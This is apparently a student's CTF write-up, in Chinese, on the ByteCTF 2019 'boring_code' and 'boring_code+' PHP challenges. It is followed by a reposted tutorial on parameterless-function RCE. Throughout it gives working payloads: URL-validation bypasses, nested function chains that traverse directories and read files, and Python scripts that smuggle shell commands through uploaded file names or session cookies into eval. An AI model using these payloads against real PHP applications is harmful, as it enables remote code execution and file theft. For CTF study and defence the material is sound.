参赛感悟

第三次还是第二次参加这种CTF大赛了,感悟和学习也是蛮多的,越发感觉跟大佬的差距明显,但是还是要努力啊,都大三了,也希望出点成绩。比赛中一道WEB都没做出来,唯一有点思路的只有EZCMS,通过哈希扩展攻击,进入admin。但是对于Phar的反序列化让我无所适从,找不到任何的利用点,干看着似乎有反序列化的利用点,却一头雾水。还是学习的太少,boring_code这道题的bypass方法也受益颇多。

boring_code

题目:

  1. <?php
  2. function is_valid_url($url) {
  3. if (filter_var($url, FILTER_VALIDATE_URL)) {
  4. if (preg_match('/data:\/\//i', $url)) {
  5. return false;
  6. }
  7. return true;
  8. }
  9. return false;
  10. }
  11.  
  12. if (isset($_POST['url'])){
  13. $url = $_POST['url'];
  14. if (is_valid_url($url)) {
  15. $r = parse_url($url);
  16. if (preg_match('/baidu\.com$/', $r['host'])) {
  17. $code = file_get_contents($url);
  18. if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
  19. if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
  20. echo 'bye~';
  21. } else {
  22. eval($code);
  23. }
  24. }
  25. } else {
  26. echo "error: host not allowed";
  27. }
  28. } else {
  29. echo "error: invalid url";
  30. }
  31. }else{
  32. highlight_file(__FILE__);
  33. }
  34. ?>

第一层

如果不买域名(氪金)的话需要绕过filter_var和parse_url。

当时看到一篇文章(一会搬运过来或者自己复现一下),如何绕过filter_var和parse_url,在file_get_contents的情况下,可以用data://伪协议来绕过,对于这样的形式data://text/plain;base64,xxxxx,parse_url会将text作为host,并且PHP对MIME不敏感,改为这样data://baidu.com/plain;base64,xxxxx就能绕过,并且file_get_contents能直接读取到xxxx的内容。

第二层

  1. preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
  1. preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
  1.    

第一个正则,百度(?R)无果,PHP regex中显示如下

  1. (?R)? recurses the entire pattern  

意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)

第二个正则,过滤了一些字符,限制你的代码执行。现在需要做的就是让其eval(code),读取到当前文件夹下的某些东西。

给的注释,flag在index.php同目录下,www flag,而我们执行的环境是www/code/code.php

因此我们需要跨目录到上级目录

payload分析学习

payload:

  1. echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));  

第一层:

首先我们需要跨目录,如何获取..呢?

  1. scandir 扫描目录
  2. localeconv 函数返回一包含本地数字及货币格式信息的数组
  3. pos current的别名,输出数组中的当前元素的值(第一个元素)
  4. next 将内部指针指向数组中的下一个元素  

localeconv数组的第一个元素就是.

然后用pos(current的别名)获取.

scandir('.')扫描当前目录后回显是'.','..',第二个元素是..

再通过chdir('..')跳转到上级目录

完成第一层

第二层:

  1. localtime() 返回本地时间,默认为数值数组
  2. time() 返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
  3. end() 将数组的内部指针指向最后一个元素

因为chdir()返回的是bool值,成功返回1,我们还需要继续读取

这里用到time(),直接数值扔到time()中。接下来最核心的就是chr和localtime的配合获得.的姿势

可以看到第一个参数可以默认time(),因此无影响。

pos获取第一个参数秒数的值,然后用chr(秒数),因为.的10进制ascii码为46,也就是当每分钟的46秒时候我们可以获得.

然后再次通过scandir('.')扫描当前目录,end取最后一个flag文件,因为字母排序问题,f偏后。

最后通过echo readfile()输出读取到的当前目录下的最后一个文件即flag

第二层成功。

结束。

本地复现

bytectf目录下有code目录和flag.php,code目录下有code.php

  1. <?php
  2. $code=@$_POST['code'];
  3. if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
  4. if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
  5. echo 'bye~';
  6. } else {
  7. @eval($code);
  8. }
  9. }
  10. else
  11. {
  12. echo 'NO first';
  13. }

  14. ?>

准时的在46时候Send,直接获得flag

我们可以写一个脚本,不停的发送POST,直到读到flag

  1. import requests
  2. import time
  3. localtime = time.asctime( time.localtime(time.time()) )
  4. url='http://127.0.0.1/bytectf/code/code.php'
  5. while 1:
  6. response=requests.post(url,data={'code':'echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));'}).text
  7. if 'flag' in response:
  8. print('flag:'+response+"\n",localtime)
  9. break

WTF,我看着他46s的时候,跳的flag。怎么是44s

WTF,是什么毛病。我看着46s跳的。不管了,就是46s的时候,chr(46)为.

更多的payload

对于第一层的绕过,很多是氪金的。现在看到有两种方式。

  1. ftp协议/百度跳转来bypass
  2. compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

神奇

无参数函数执行

原文出自飘零师傅:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

前言

最近做了一些php 无参数函数执行的题目,这里做一个总结,以便以后bypass各种正则过滤。
大致思路如下:
1.利用超全局变量进行bypass,进行RCE
2.进行任意文件读取

什么是无参数函数RCE

传统意义上,如果我们有

  1. eval($_GET['code']);

即代表我们拥有了一句话木马,可以进行getshell,例如

但是如果有如下限制

  1. if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
  2. eval($_GET['code']);
  3. }

我们会发现我们使用参数则无法通过正则的校验

  1. /[^\W]+\((?R)?\)/

而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数

  1. a(b(c()));
  2.  
  3. a();

但不允许

  1. a('123');

这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
而本篇文章旨在bypass这种限制,并做出一些更苛刻条件的Bypass。

法1:getenv()

查阅php手册,有非常多的超全局变量

  1. $GLOBALS
  2. $_SERVER
  3. $_GET
  4. $_POST
  5. $_FILES
  6. $_COOKIE
  7. $_SESSION
  8. $_REQUEST
  9. $_ENV

我们可以使用$_ENV,对应函数为getenv()

虽然getenv()可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题
这里可以使用方法:

效果如下

但是我不想要下标,我想要数组的值,那么我们可以使用

两者结合使用即可有如下效果

我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv(),并获取指定位置的恶意参数(这个我不知道如何利用,TCL)

法二:getallheaders()

之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回
我们可以看一下返回值

  1. array(8) {
  2. ["Host"]=> string(14) "106.14.114.127"
  3. ["Connection"]=> string(10) "keep-alive"
  4. ["Cache-Control"]=> string(9) "max-age=0"
  5. ["Upgrade-Insecure-Requests"]=> string(1) "1"
  6. ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"
  7. ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
  8. ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9"
  9. }

我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如

此时我们再将结果中的恶意命令取出

  1. var_dump(end(getallheaders()));

这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass 无参数函数执行
例如

那么可以进一步利用http header的sky属性进行rce

在国赛LOVE_MATH中,ROIS就是利用getallheaders来getflag的

法三:get_defined_vars()

使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?
这里我们可以使用get_defined_vars(),首先看一下它的回显

发现其可以回显全局变量

  1. $_GET
  2. $_POST
  3. $_FILES
  4. $_COOKIE

我们这里的选择也就具有多样性,可以利用$_GET进行RCE,例如

还是和之前的思路一样,将恶意参数取出

发现可以成功RCE
但一般网站喜欢对

  1. $_GET
  2. $_POST
  3. $_COOKIE

做全局过滤,所以我们可以尝试从$_FILES下手,这就需要我们自己写一个上传

可以发现空格会被替换成_,为防止干扰我们用hex编码进行RCE

最终脚本如下

  1. import requests
  2. from io import BytesIO
  3.  
  4. payload = "system('ls /tmp');".encode('hex')
  5. files = {
  6. payload: BytesIO('sky cool!')
  7. }
  8.  
  9. r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
  10.  
  11. print r.content

法四:session_id()

之前我们使用$_FILES下手,其实这里还能从$_COOKIE下手:
我们有函数

可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,那么我们就有了新的思路,即 hex2bin
脚本如下

  1. import requests
  2. url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
  3. payload = "echo 'sky cool';".encode('hex')
  4. cookies = {
  5. 'PHPSESSID':payload
  6. }
  7. r = requests.get(url=url,cookies=cookies)
  8. print r.content

即可达成RCE和bypass的目的

法五:dirname() & chdir()

为什么一定要RCE呢?我们能不能直接读文件?
之前的方法都基于可以进行RCE,如果目标真的不能RCE呢?我们能不能进行任意读取?
那么想读文件,就必须进行目录遍历,没有参数,怎么进行目录遍历呢?
首先,我们可以利用getcwd()获取当前目录

  1. ?code=var_dump(getcwd());
  2.  
  3. string(13) "/var/www/html"

那么怎么进行当前目录的目录遍历呢?
这里用scandir()即可

  1. ?code=var_dump(scandir(getcwd()));
  2.  
  3. array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()即可

  1. ?code=var_dump(scandir(dirname(getcwd())));
  2.  
  3. array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录

  1. chdir ( string $directory ) : bool

将 PHP 的当前目录改为 directory。
所以我们这里在

  1. dirname(getcwd())

进行如下设置即可

  1. chdir(dirname(getcwd()))

我们尝试读取/var/www/123

  1. http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可进行文件读取

非常好的文章,膜飘零师傅 orz

boring_code+

为什么称为boring_code+呢,其实就是boring_code的翻版,增加了几个正则匹配的参数。

这是来自于上海大学生CTF的一道题目,题目当时没有拉下来,所以直接拿之前的boring_code的代码来看。

  1. if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
  2. if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
  3. echo 'bye~';
  4. } else {
  5. eval($code);
  6. }
  7. }    

对比boring_code,额外过滤了readfile,if,time,local,sqrt等函数。

那上面我面我分析的payload就无法生效了。

这里直接发出我用的payload:

  1. echo(serialize(file(end(scandir(chr(ord(strrev(crypt(serialize(array(date(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))))))); 

第一阶段

通过Fuzz,发现了一个file() 函数

file() 函数把整个文件读入一个数组中。

与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。

如果失败,则返回 false

既然是一个数组,我们可以用serialize序列化函数来转成一个字符串

呢么读取flag的无参数函数就有了echo(serialize(file()))

第二阶段

最重要的是.的获取,但是local和time都被ban了,该怎么获得.呢。当时比赛的时候确实没有fuzz出来,google搜到了一下大佬的骚姿势,链接会放在文章下方。

crypt(serialize(array()));

利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.

总共末尾会出现四种情况

chr(ord(strrev()))

再通过反转字符,将.反转到第一位,可以通过ord取到第一位,再通过chr转化为.

ord会取字符串中的第一位转化为ascii码

第三层

其实这里我做了不必要的date()函数吃掉bool放进array中。通过实践发现

根本无需在crypt中加入serizlize(array()),直接crypt吃掉chdir即可,只需要crypt里面的是一个字符串,返回的bool值也是字符串

缩短后的payload:

  1. echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));

本地测试完全可以获取,请求需要多试很多次,有1/16的纪律会获得,尝试几次就出来了。

获得.的骚姿势

截取自大佬总结的博客

Math函数

我更愿意归结于math函数而不是phpversion,即便你知道phpversion函数,通过复杂的运算,你还是需要fuzz

payload:

  1. ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

核心思路是 : phpversion() 函数会返回当前PHP的版本好 , 然后可以用 floor() 函数取第一位的数值( 固定为 7 )

  1. floor() : 返回不大于 x 的下一个整数 , 简单的说就是向下取整

有了数字 " 7 " , 就可以通过各种数学运算拿到数字46 , 也就是ASCII字符 " . " .

  1. sqrt() : 返回一个数字的平方根
  2. tan() : 返回一个数字的正切
  3. cosh() : 返回一个数字的双曲余弦
  4. sinh() : 返回一个数字的双曲正弦
  5. ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整

经过上面这些步骤 , 能拿到数字 46

再通过 chr() 函数就可以返回 ASCII 编码为 46 的字符 , 也就为 " . " , 后面的步骤就和之前一样 , 跳转到根目录 , 然后读取 index.php 文件

localeconv() 函数

同boring_code

crypt()函数

首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 : crypt()

  1. crypt($str , [$salt]) : 返回一个基于标准 UNIX DES 算法或系统上其他可用的替代算法的散列字符串 .

说起来很复杂 , 你仅需要知道它可以返回一个加密字符串

多次尝试后 , 发现 " . " 会出现在加密字符串的末尾( 加密字符串的开头默认为 : " $ " ) , 然后我才想到 , scandir(getcwd()) 不能用 , 但可以用 scandir('.') 啊 , 真的太菜了!

再chr(ord(strrev()))转化为.

最近又看到一个payload:

  1. readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

hebrevc() 函数把希伯来文本从右至左的流转换为左至右的流,其实也是crypt的特性,只是都是反转而已.

 

以上获取.的两个骚姿势截取自于下面的大佬博客对于此题的总结。

上海赛的第二题是6月安恒杯的一道web原题。

官方解是:url双重编码绕过,通过ssrf结合gopher完成SMTP污染从而包含日志进行RCE

大佬的解:不同的是将邮件正常发给www-data的话正好web可读,通过包含www-data的邮件完成包含一句话进行RCE

大佬的解链接也放在下面

参考链接:

https://www.guildhab.top/?p=1077

https://blog.szfszf.top/tech/%E5%AE%89%E6%81%92%E6%9D%AF6%E6%9C%88%E8%B5%9B-easypentest/

bytectf2019 boring_code的知识学习&&无参数函数执行&&上海市大学生CTF_boring_code+的更多相关文章

  1. 嵌入Python系列 | 调用Python模块中无参数函数

    开发环境 Python版本:3.6.4 (32-bit) 编辑器:Visual Studio Code C++环境:Visual Studio 2013 需求说明 在用VS2013编写的Win32程序 ...

  2. c++ x86_x64挂钩无参数函数

    https://github.com/januwA/GameCheat #include "pch.h" #include <iostream> #include &l ...

  3. [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]

    简介  原题复现:  考察知识点:无参数命令执行.绕过filter_var(), preg_match()  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...

  4. [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)

    简介  原题复现:  考察知识点:无参数命令执行.Fuzz  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...

  5. 浅谈无参数RCE

    0x00 前言 这几天做了几道无参数RCE的题目,这里来总结一下,以后忘了也方便再捡起来. 首先先来解释一下什么是无参数RCE: 形式: if(';' === preg_replace('/[^\W] ...

  6. [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]

    简介  原题复现:  考察知识点:无参数命令执行  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...

  7. 装饰器1、无参数的装饰器 2、有参数的装饰器 3、装饰器本身带参数的以及如果函数带return结果的情况

     装饰器分成三种: 1.无参数的: 2.有参数的: 3.装饰器本身带参数的. 装饰器decorator又叫语法糖 定义:本质是函数,器就是函数的意思.装饰其他函数.就是为其他函数添加附加功能. 原则: ...

  8. Python: 无参数的函数装饰器

    写带参数的函数装饰器最纠结的是需要包好多层,最外层是接收参数的函数,它返回一个接收函数的的函数.但这样有个问题是,最终包装出来的装饰器必须加()调用一下,即使没有参数也需要这样做,因为调用这个最外层函 ...

  9. Python新手学习基础之函数-关键字参数

    关键字参数 函数也可以使用 键 =值 的关键字参数形式被调用,这种调用形式的参数被称为关键字参数. 特别是在一个有许多参数的函数下,你想要指定参数中的部分参数,你可以使用关键字参数的方式来调用函数. ...

随机推荐

  1. 装numpy 环境:python3.4+ windows7 +64位系统

    机器学习实战python 因为图像处理的原因,初步学习机器学习,选用语言python,参考书籍<机器学习实战> 环境:python3.4+ windows7 +64位系统 首先,今天解决的 ...

  2. Building Applications with Force.com and VisualForce(六):Designing Applications for Multiple users: Accommodating Multiple Users in your App

    Dev 401-006 Designing Applications for Multiple users: Accommodating Multiple Users in your App. Cou ...

  3. 深度学习论文TOP10,2019一季度研究进展大盘点

    9012年已经悄悄过去了1/3. 过去的100多天里,在深度学习领域,每天都有大量的新论文产生.所以深度学习研究在2019年开了怎样一个头呢? Open Data Science对第一季度的深度学习研 ...

  4. 2020年最新版Web前端学习路线图-前端小白入门必读-pink老师推荐

    Hello,大家好,相信很多学习前端的小伙伴,会有很多的疑惑: 我要学习那些技术? 我要到哪里去学习这些技术呢? 学习这些技术的目的对就业有什么帮助呢? 我学到什么程度可以胜任工作? ... 这里,p ...

  5. 好记性-烂笔头:JDK8流操作

    1):对象 List<User> 转 Map<String,Object> 案例如下: public class User { private Integer id; priv ...

  6. SpringBoot 集成多数据源

    一个项目中怎么划分数据库,可以通过具体业务需求. 项目中数据源怎么如何划分,通过注解的方式@Datasource(ref="") 在方法上指定,会连接指定的数据源,这种方式比较繁琐 ...

  7. spring 事务源码赏析(一)

    在本系列中,我们会分析:1.spring是如何开启事务的.2.spring是如何在不影响业务代码的情况下织入事务逻辑的.3.spirng事务是如何找到相应的的业务代码的.4.spring事务的传播行为 ...

  8. Linux虚拟机-CentOS7常用命令

    1.查找虚拟机的ip地址:$ ifconfig ~inet 192.168.68.136

  9. vue-cli 引入axios及跨域使用

    使用 cnpm 安装 axios cnpm install axios --save-dev 安装其他插件的时候,可以直接在 main.js 中引入并 Vue.use(),但是 axios 并不能 u ...

  10. 用一个例子说说gRPC的四种服务方法

    本文通过一个简单的例子来演示这4种类型的使用方法 案例代码:https://github.com/codeAB/grpc-sample-example 目录结构说明 ├── calculator.pr ...